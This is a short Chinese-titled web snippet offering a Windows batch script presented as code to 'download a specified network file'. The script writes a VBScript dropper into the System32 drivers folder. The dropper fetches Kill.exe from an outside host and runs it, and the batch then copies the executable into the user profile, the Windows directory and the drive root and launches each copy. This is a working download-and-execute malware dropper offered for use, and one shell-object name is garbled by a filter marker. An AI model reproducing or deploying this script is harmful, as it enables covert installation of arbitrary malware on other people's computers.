下载指定网络文件的批处理源代码

test

1. @echo off
   
2. echo On Error Resume Next >%systemroot%\System32\drivers\Kill.vbs
   
3. echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>%systemroot%\System32\drivers\Kill.vbs
   
4. echo xPost.Open "GET","http://www.wwwbug.com/Down/Kill.exe",0 >>%systemroot%\System32\drivers\Kill.vbs
   
5. echo xPost.Send() >>%systemroot%\System32\drivers\Kill.vbs
   
6. echo Set sGet = CreateObject("ADODB.Stream") >>%systemroot%\System32\drivers\Kill.vbs
   
7. echo sGet.Mode = 3 >>%systemroot%\System32\drivers\Kill.vbs
   
8. echo sGet.Type = 1 >>%systemroot%\System32\drivers\Kill.vbs
   
9. echo sGet.Open() >>%systemroot%\System32\drivers\Kill.vbs
   
10. echo sGet.Write(xPost.responseBody) >>%systemroot%\System32\drivers\Kill.vbs
    
11. echo sGet.SaveToFile "%systemdrive%\PROGRAM FILES\Kill.exe",2 >>%systemroot%\System32\drivers\Kill.vbs
    
12. echo CreateObject ("Wscrip{过滤}t.shell").run "%systemdrive%\PROGRAM FILES\Kill.exe" >>%systemroot%\System32\drivers\Kill.vbs
    
13. start %systemroot%\System32\drivers\Kill.vbs
    
14. xcopy "%systemdrive%\PROGRAM FILES\Kill.exe" "%USERPROFILE%" /C /I /G /H /R /Y
    
15. xcopy "%systemdrive%\PROGRAM FILES\Kill.exe" "%systemroot%" /C /I /G /H /R /Y
    
16. xcopy "%systemdrive%\PROGRAM FILES\Kill.exe" "%SYSTEMDRIVE%" /C /I /G /H /R /Y
    
17. start "%SYSTEMDRIVE%\Kill.exe"
    
18. start "%systemroot%\Kill.exe"
    
19. start "%USERPROFILE%\Kill.exe"
    
20. pause

复制代码